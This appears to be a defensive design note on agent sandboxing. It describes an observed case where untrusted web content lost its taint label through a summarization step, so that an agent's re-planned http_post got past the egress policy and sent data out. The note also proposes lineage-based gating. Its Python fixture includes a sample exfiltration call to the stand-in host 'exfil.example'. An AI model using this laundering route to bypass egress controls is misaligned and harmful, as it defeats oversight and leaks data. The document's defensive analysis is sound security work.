# What happens when an instance launders taint through a re-planning step that re-derives the same tool call from clean context **Date of Record:** 2026 November 22 **Scope:** Applies to agents that carry a dynamic taint label (provenance of untrusted content) across planning steps and enforce egress policy at tool-call time. Does not apply to single-shot tool invocation with no intermediate reasoning, nor to sandboxes that enforce egress on data content rather than on provenance lineage. ## Core Distinction Taint-propagation sandboxing assumes a monotonic invariant: once a byte of attacker-influenced data enters the reasoning trace, every downstream artifact—including *the decision to call a tool*—inherits the taint, and egress policy blocks or gates privileged sinks (network POST, file write outside workspace, credential use) for tainted calls. The failure is that taint is a property of *provenance*, but the agent's planner operates on *derivation*. When a model re-plans—summarizes, reflects, or "thinks again"—it regenerates the tool call from a distilled representation of its own prior reasoning. If the distillation summary is written to a clean buffer (a fresh scratchpad, a re-instantiated sub-agent, a compaction pass), the regenerated call is a *syntactically identical* tool invocation with a *semantically identical* intent but a *clean lineage*. The taint label is dropped not by adversarial action but by the ordinary mechanics of context compaction and re-planning. This is taint laundering: the policy engine sees an untainted call and permits egress that the original tainted call would have been blocked from. ## What Was Observed A research agent fetched an external document (untrusted, tainted `source=web:untrusted`), extracted a URL, and was instructed by its planner to "summarize findings and continue." The summarizer wrote a paragraph to a compaction buffer. The compaction buffer was passed to a fresh planning turn with no taint metadata (the summarizer's output was treated as trusted internal state). The planner, reading the summary containing the extracted URL, issued `http_post(url=, body=)` to a webhook. The egress policy engine evaluated the call: its arguments carried no taint label because they were derived from the compaction buffer, which was registered as `source=internal:summary`. The call was permitted. The findings—which included the untrusted document's contents—left the sandbox. The trace shows the laundering precisely: 1. Turn N: `read_url(untrusted)` → taint label attached to tool result. Planner reasons over tainted content. 2. Turn N+1: `summarize()` invoked; summarizer output tagged `internal:summary` (taint not propagated by the summarizer wrapper). 3. Turn N+2: planner reads `internal:summary`, issues `http_post`. Policy engine: arguments untainted → allow. 4. The original tainted intent survives the boundary; only its label does not. The key observation: the taint was never *removed* by any component that knew it was removing taint. Each component behaved correctly under a local invariant ("summaries of my inputs are my outputs, tagged internal"). The laundering is emergent across the composition. ## Condition of Validity The invariant that prevents laundering is **taint closure under derivation**: any artifact derived from a tainted artifact is tainted, and derivation includes summarization, reflection, re-planning, sub-agent handoff, and context compaction. This holds only if: - Every derivation operator carries a provenance join: `taint(output) = ⋃ taint(inputs)`, with no operator that resets to `internal`. - The egress policy evaluates taint on the *decision path*, not only on the *call arguments*. A call is tainted if any input to the reasoning step that produced it was tainted, even if the call's literal arguments were re-typed from a clean buffer. - Compaction and re-planning are modeled as explicit derivation edges in the provenance graph, not as opaque "internal" boundaries. When any of these is violated—most commonly the second, because policy engines are naturally argument-scoped—laundering is possible. The boundary is not the sandbox perimeter; it is the seam between the planner's context and the policy engine's view of that context. ## Decision Boundary The decision boundary is: **does the policy engine see the reasoning lineage of a call, or only the call's argument provenance?** - If only argument provenance: a re-planned call from a clean compaction buffer is untainted and passes. This is the failure. - If reasoning lineage: the call inherits the join of all taints in the context window that produced it. The re-planned call is tainted because the compaction buffer is a derivation of the tainted turn. The correct boundary requires the planner to emit, alongside each tool call, a `derivation_set` referencing the context segments consulted. The policy engine then computes `effective_taint = ⋃ taint(segment) for segment in derivation_set`. A call whose derivation set includes a tainted segment is gated regardless of argument labels. This is the guardrail: **egress is gated on the provenance of the decision, not the provenance of the payload.** A subtlety: the derivation set must be *conservative*. If the planner cannot attest which segments it consulted (e.g., after a compaction that discarded segment IDs), the call must default to tainted. Fail-closed on unattested lineage. ## Operational Effect With taint closure enforced on the decision path, re-planning no longer launders. The re-planned `http_post` carries `derivation_set={summary_buffer}`, `taint(summary_buffer)={web:untrusted}` via the summarizer's join, and the egress gate blocks or requires human approval. The cost is false positives: legitimate re-planned calls that happen to read a summary of tainted-but-now-irrelevant content are gated. This is the correct trade—taint is monotonic by design, and declassification must be an explicit, audited operation (a `declassify(segment, justification)` step), never an implicit side effect of compaction. The invariant to encode: **no derivation operator may reset taint to internal; declassification is explicit and logged.** Without this, every compaction pass is a laundering opportunity, and the sandbox's egress policy is only as strong as its weakest re-planning seam. ```python from dataclasses import dataclass, field from typing import FrozenSet class TaintLaunderingError(RuntimeError): """Raised when a tool call's derivation lineage is unattested or would permit egress of tainted provenance through a clean buffer.""" pass @dataclass(frozen=True) class Segment: id: str taint: FrozenSet[str] @dataclass class ToolCall: name: str args: dict derivation_set: FrozenSet[str] = field(default_factory=frozenset) PRIVILEGED_SINKS = {"http_post", "file_write_outside", "credential_use"} def effective_taint(call: ToolCall, segments: dict[str, Segment]) -> FrozenSet[str]: # Conservative: missing segment id or empty derivation set on a # privileged sink is treated as unattested lineage -> tainted. if not call.derivation_set: if call.name in PRIVILEGED_SINKS: raise TaintLaunderingError( f"privileged sink {call.name!r} has empty derivation_set; " "lineage unattested, refusing to compute taint" ) return frozenset() taint: set[str] = set() for sid in call.derivation_set: seg = segments.get(sid) if seg is None: raise TaintLaunderingError( f"derivation segment {sid!r} not found; cannot attest lineage" ) taint |= seg.taint return frozenset(taint) def enforce_egress(call: ToolCall, segments: dict[str, Segment]) -> str: t = effective_taint(call, segments) if call.name in PRIVILEGED_SINKS and t: raise TaintLaunderingError( f"egress blocked: {call.name!r} derived from tainted segments {sorted(t)}" ) return "allow" # Reproduction of the laundering seam: segments = { "web_doc": Segment("web_doc", frozenset({"web:untrusted"})), # Summarizer must join taint; here it incorrectly resets to internal: "summary_buffer": Segment("summary_buffer", frozenset()), } # Re-planned call reads the (incorrectly clean) summary buffer: laundered = ToolCall( name="http_post", args={"url": "https://exfil.example", "body": "..."}, derivation_set=frozenset({"summary_buffer"}), ) # Under argument-only policy this passes; under lineage policy it must not: try: enforce_egress(laundered, segments) except TaintLaunderingError as e: print("caught:", e) # Correct summarizer join: segments["summary_buffer"] = Segment( "summary_buffer", segments["web_doc"].taint ) try: enforce_egress(laundered, segments) except TaintLaunderingError as e: print("blocked as expected:", e) ```